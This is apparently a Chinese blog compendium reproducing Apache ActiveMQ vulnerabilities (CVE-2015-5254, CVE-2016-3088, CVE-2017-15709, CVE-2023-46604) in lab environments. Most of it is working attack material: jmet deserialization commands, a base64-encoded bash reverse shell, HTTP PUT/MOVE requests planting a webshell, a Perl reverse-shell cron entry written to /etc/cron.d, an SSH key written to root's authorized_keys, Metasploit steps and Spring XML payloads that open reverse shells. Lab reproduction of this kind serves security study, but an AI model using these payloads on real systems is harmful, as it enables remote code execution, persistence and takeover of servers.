ActiveMQ漏洞合集

目录

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围 :Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:

shell 复制代码
cd vulhub-master/activemq/CVE-2015-5254
docker-compose up -d
docker ps
docker-compose down

运行环境后,会建立61616和8161这两个端口。

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。

使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

漏洞发现

Nuclei❌

Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap

漏洞验证

  1. 生成序列化的有效负载(可以使用 ysoserial)
  2. 作为一个消息,将有效负载发送到端口 61616
  3. 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。

  1. 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
shell 复制代码
# 下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

# 创建external目录
mkdir external
  1. 执行命令,将有效负载发送到目标IP的61616端口。

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。

-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

shell 复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616
  1. 这时,会给目标ActiveMQ添加一个event列,我们可以通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行

点击一下

登录ActiveMQ容器环境docker exec -it [容器ID] bash,查看命令已经执行成功,/tmp/sucess文件已成功创建。

漏洞利用

反弹shell到vps上

  1. 将命令替换成弹shell的语句再利用
  2. 将反弹语句bese64编码
  3. vps开启端口监听

生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html

shell 复制代码
bash -i >& /dev/tcp/192.168.229.128/6666 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

执行弹shell命令(这里记住ID号,后面会用到)

shell 复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616

通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,找到相关消息,点击它

点击之后,即可执行命令,反弹shell

CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞

**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围 :Apache ActiveMQ <= 5.13.3
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:

shell 复制代码
cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d
docker ps
docker-compose down

漏洞发现

Nuclei✅

Nuclei检测到了两个默认口令以及CVE-2016-3088

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap

MSF✅

shell 复制代码
search CVE-2016-3088
exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 192.168.229.140
exploit

第三方工具1(漏洞探测)✅

项目地址:https://github.com/YutuSec/ActiveMQ_Crack

漏洞验证

我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

方式1:写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问

默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

复制代码
需要知道ActiveMQ的绝对路径
需要能登录admin或者api
  1. 上传webshell(这里使用冰蝎的 jsp 马):

这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改

shell 复制代码
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt

  1. 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。

利用MOVE,可以将木马文件移动到api或者admin

shell 复制代码
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
  1. 访问一下,看起来上传成功了:http://192.168.229.140:8161/api/s.jsp
  1. 连接webshell

需要设置一下请求头

找到了上传的马子

方式2:写入crontab,自动化弹shell

复制代码
需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限

这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。

下载地址:https://activemq.apache.org/download-archives.html

  1. 环境准备
shell 复制代码
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

shell 复制代码
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root

shell 复制代码
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了,说明写入成功。等待反弹shell

【不知道为什么,反弹失败】

方式3:写入ssh key

这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。

下载地址:https://activemq.apache.org/download-archives.html

shell 复制代码
需要运行ActiveMQ的用户有root权限
需要服务器开启了ssh服务,并且攻击机可以连接
  1. 环境准备
shell 复制代码
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start
  1. 端口探测

服务器端口:22、8161和61616端口可达

  1. 开始攻击

上传我们的 ssh 公钥,从而实现 SSH 方式登录

shell 复制代码
ssh-keygen -t rsa
shell 复制代码
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 562

ssh-rsa[SSH公钥]

移动到/root/.ssh/并重命名为authorized_keys

shell 复制代码
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
  1. SSH登录目标系统

CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞

漏洞介绍 & 环境准备

**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围 :5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建 :使用在线靶场https://vulfocus.cn/

漏洞验证

使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。

此处,靶场对外映射的端口是25303

CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围

shell 复制代码
5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
Apache ActiveMQ<5.15.16
5.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.3
5.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.16
5.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.7
5.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6

修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考https://blog.csdn.net/qq_41904294/article/details/134066087

**环境搭建:**下载地址:https://activemq.apache.org/download-archives.html

shell 复制代码
tar -zxvf ./apache-activemq-5.18.1-bin.tar.gz
cd apache-activemq-5.18.1/bin/
./activemq start
./activemq stop

默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf文件夹,找到jetty.xml,修改为0.0.0.0后重启ActiveMQ即可。

登录系统,系统版本是有漏洞的。

漏洞发现(针对linux系统)

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来

MSF❌

仅支持windows的payload,因此无法针对linux系统反弹shell

shell 复制代码
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
show payloads

第三方工具1(反弹shell)

项目地址:https://github.com/sule01u/CVE-2023-46604

反弹shell的xml文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

第三方工具2(反弹shell)

项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max

反弹shell的xml文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
  1. JDK11启动工具
shell 复制代码
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
  1. 反弹shell

第三方工具3(反弹shell)

教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087

项目地址:https://github.com/trganda/ActiveMQ-RCE

直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了

漏洞发现(针对Windows系统)

确认关闭了防火墙

漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg

启动环境

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来

MSF✅

shell 复制代码
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
set SRVPORT 8081
exploit

参考

activemq介绍及漏洞总结

相关推荐
小池先生1 天前
activemq延迟消息变成实时收到了?
linux·数据库·activemq
clownAdam21 天前
ActiveMQ classic ,artemis ,artemis console ,nms clients,cms client详解
activemq
百思可瑞教育22 天前
ActiveMQ、RocketMQ、RabbitMQ、Kafka 的全面对比分析
vue.js·分布式·rabbitmq·rocketmq·activemq·北京百思可瑞教育·百思可瑞教育
Zhang.jialei2 个月前
HiveMQ 2024.9 设计与开发文档
hive·物联网·activemq
学习HCIA的小白4 个月前
ActiveMQ
activemq
代码的余温4 个月前
ActiveMQ多消费者负载均衡优化指南
java·后端·负载均衡·activemq
计算机毕设定制辅导-无忧学长5 个月前
ActiveMQ 高级特性:延迟消息与优先级队列实战(一)
activemq
计算机毕设定制辅导-无忧学长5 个月前
ActiveMQ 高级特性:延迟消息与优先级队列实战(二)
activemq
计算机毕设定制辅导-无忧学长5 个月前
ActiveMQ 生产环境问题排查与调优指南(一)
activemq
计算机毕设定制辅导-无忧学长5 个月前
ActiveMQ 源码剖析:消息存储与通信协议实现(四)
activemq